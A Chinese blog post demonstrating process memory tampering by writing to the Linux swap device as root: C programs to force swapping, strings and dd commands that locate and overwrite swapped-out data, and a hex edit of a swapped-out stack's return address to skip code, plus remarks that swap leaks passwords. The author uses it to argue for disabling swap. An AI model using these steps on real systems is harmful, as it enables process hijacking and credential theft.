修改Linux的swap空间实现进程注入

末蓝、 2022-12-08 04:50 239阅读 0赞

连续两夜的大雨，舒服，下班回到家继续杂耍。

昨晚杂耍了一把/proc/$pid/mem，写了一个关于进程代码注入的文章：  
[https://blog.csdn.net/dog250/article/details/108618568][https_blog.csdn.net_dog250_article_details_108618568]  
这个方法无非还是利用了内核导出到procfs里的一个mem文件，而且幸亏它可写！这并不是一个通用的方法，至于说ptrace，stap这种，则更多的体现为一种工具，而非手艺。

swap空间够通用了吧，哪个系统都有，它是现代操作系统的基础设施的重要组成部分，本文就拿swap空间开涮。

上上周末，我strings了一下电脑一个虚拟机的swap空间，吓人，什么都有，我的各种账户密码，登录过的网站很多都能在swap空间里被找出来，于是赶紧关掉了swap。

swap空间就是一个漏桶！一个公共晾衣架。

所以，我们可以借助swap空间玩玩进程hack。

> ***对了，别想着加密swap空间这种见招拆招的事，swap本来就慢，你再来个加密解密，慢上加慢，为了得到一个平坦的地址空间，这么做毫无意义，加内存条就是了。  
>   
> 然而，加内存条不是还可以dump整个内存的吗？比如/dev/mem，/proc/$pid/mem这种…即便如此，也比swap要安全。hack swap简直太容易了！***

首先，我想通过覆盖swap空间的特定位置来达到修改进程内私有数据的目的。

先看代码：

#include <stdio.h>
    #include <sys/mman.h>
    #include <string.h>
    
    #define MADV_SOFT_OFFLINE 101
    
    int main(int argc, const char **argv)
    { 
    	void *map[65536];
    	char buf[256];
    	int i = 0, which;
    
    	// 循环分配内存并写内存，目的是触发swap to disk操作。
    	while (i < 65535) {  // 65535也许有点小了，为了实验的目的，我特意将虚拟机内存缩小为64M，以更容易地触发内存swap。
    		map[i] = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, -1, 0);
    		if (map[i] == NULL)
    			break;
    		// 眼睁睁看着是这些字符串复制进了buffer
    		snprintf(buf, 256, "E%d:ZheJiang Wenzhou skinshoe wet,down rain enter water not can fat", i);
    		strcpy(map[i], buf);
    		i ++;
    	}
    	printf("map:%d\n", i);
    	scanf("%d", &which);
    	printf("map after:%s\n", map[which]);
    	return 0;
    }

下面的操作步骤一气呵成：

*  在swap空间查找特征字符串位置。
 *  将替换字符串dd到swap空间的对应位置。

请看：

# 在swap空间查找特征字符串的位置偏移
    # 注意，我用1234做索引，目的后面我会导出进程map数组的第1234个元素，以查验它有没有被修改。
    [root@localhost test]# strings -a -t x /dev/dm-1 |grep E1234:ZheJiang
    391f000 E1234:ZheJiang Wenzhou skinshoe wet,down rain enter water not can fat
    [root@localhost test]#
    # 展示一下替换字符串以及其大小
    [root@localhost test]# ll ./new
    -rw-r--r-- 1 root root 70 9月  17 17:32 ./new
    [root@localhost test]# cat new
    DDDDD:Zhejiang Wenzhou   pixie  shi,xia  yu  jin  shui  bu  hui  pang
    [root@localhost test]#
    # 上述偏移 0x391f000 的十进制 59895808，用替换自负串覆盖swap空间的特征字符串
    [root@localhost test]# dd if=./new of=/dev/dm-1 obs=1 bs=1 seek=59895808 count=70 
    记录了70+0 的读入
    记录了70+0 的写出
    70字节(70 B)已复制，0.00130832 秒，53.5 kB/秒

这里请注意，本文只是用特征字符串作为例子，实际实践中，可以用任何二进制去匹配，这里用字符串，主要是因为strings命令比较方便，也可以用正则，而如果是任意二进制match，那就需要别的二进制模式匹配的手艺了。

接下来，我在mmap程序运行的终端输入1234作为索引，看看情况：

1234 # 此为输入，根据特征字符串E1234:ZheJiang，需要输入1234为索引
    map after:DDDDD:Zhejiang Wenzhou   pixie  shi,xia  yu  jin  shui  bu  hui  pang
    
    [root@localhost test]#

成功替换！这次没有使用stap，没有写/proc/$pid/mem，仅仅是写了一下swap而已。

既然可以替换数据，那么stack空间作为数据的一部分，它也是可以被swap out的，如果可以通过写swap来操作stack，那岂不是可以完成类似ROP的操作咯，任意替换返回地址。

接下来，让我们试一下。

再看一个代码：

#include <stdio.h>
    #include <stdlib.h>
    
    void func()
    { 
    	char v[] = "555555555555555555555555";
    	getchar();
    	printf("after getchar\n");
    }
    
    int main(int argc, char **argv)
    { 
    	func();
    	printf("end\n");
    	return 0;
    }

很简单，让我们运行它一次：

[root@localhost test]# ./a.out
    A
    after getchar
    end
    [root@localhost test]#

输入一个字符，打印两行提示，仅此而已。

我的目标是通过操作swap空间，让该程序不再打印 “after getchar” 这句话，绕过printf，直接从fun返回，可以做到吗？当然可以！

首先运行它，但不要输入：

[root@localhost test]# ./a.out
    ... # 等待输入

通过objdump看一下getchar原始的返回地址位置：

400593:   e8 b8 fe ff ff          callq  400450 <getchar@plt>
    400598:   bf 60 06 40 00          mov    $0x400660,%edi
    40059d:   e8 8e fe ff ff          callq  400430 <puts@plt>
    4005a2:   c9                      leaveq

嗯，就是0x400598了。我要通过修改swap空间，然后将返回地址修改为0x4005a2，从而跳过printf，也就是objdump中的puts。

下一步就是找到swap空间中a.out程序的stack的位置。

想通过操作swap空间来修改进程的stack，就要想办法让其stack被换出，要想让这个o.out的stack被换出，我使用本文最开始的那个mmap进程，使劲儿分配内存，那么等待输入的非活跃进程a.out的stack内存当然就要被换出咯。

确认之：

[root@localhost test]# ps -e|grep a.out
     3230 pts/2    00:00:01 a.out
    [root@localhost test]# cat /proc/3230/smaps |grep -A15 stack|grep Swap
    Swap:                16 kB

接下来查找特征字符串"555555555555555555555555"，企图在其附近找到getchar的返回地址0x400598：

[root@localhost test]# strings -a -t x /dev/dm-1 |grep 555555555555555555555555
    2e5e09a 555555555555555555555555  # 2e5e09a向下附近确定为48619550，也可以是附近别的值。
    [root@localhost test]# dd of=./stack if=/dev/dm-1 obs=1 bs=1 skip=48619550 count=4096

通过"vi -b ./stack"的":%!xxd"来编辑二进制的stack文件，找到了下面的位置：

...
    00000050: 647f 0000 0000 0000 0000 0000 9805 4000  d.............@.
    00000060: 0000 0000 3535 3535 3535 3535 3535 3535  ....555555555555
    00000070: 3535 3535 3535 3535 3535 3535 0000 0000  555555555555....
    ...

将 “9805 4000” 改成 “a205 4000” 即可：

00000050: 647f 0000 0000 0000 0000 0000 a205 4000  d.............@.

用"%!xxd -r"后保存，然后再dd回去：

[root@localhost test]# dd if=./stack of=/dev/dm-1 obs=1 bs=1 seek=48619550 count=4096

在运行a.out的终端敲入字符"A"：

[root@localhost test]# ./a.out
    A
    end
    [root@localhost test]#

成功绕过了printf！

想完成这种攻击其实很简单，只需要触发系统将内存交换到交换空间即可，你要做的就是分配内存，然后让系统将被攻击程序的内存挤到 ***公共可见的交换空间*** 里，然后…

***不得不说，如果一个进程的stack被换出了，那么你只要能找到这个stack在swap空间的位置，你就可以在stack上堆砌任意数据了，离线构造一个满足ReturnToLibc的ROP也不是什么难事，主要是手速，一定要快！***

怎么说呢？现代操作系统的swap空间到底还有没有必要？

现代操作系统作为基于虚拟存储的操作系统，在原理上屏蔽内存介质的差异，目的是为进程提供一个平坦的地址空间，这没有任何问题。然而在实践中，我认为如今这个机制已经不需要了。swap更多的价值是作用于小内存系统的，而当代系统内存动辄几十G，如果使能swap，安全无法保证不说，频繁的换入换出还会导致进程运行的时延抖动，毫无必要了。

关掉swap吧。

--------------------

浙江温州皮鞋湿，下雨进水不会胖。

[https_blog.csdn.net_dog250_article_details_108618568]: https://blog.csdn.net/dog250/article/details/108618568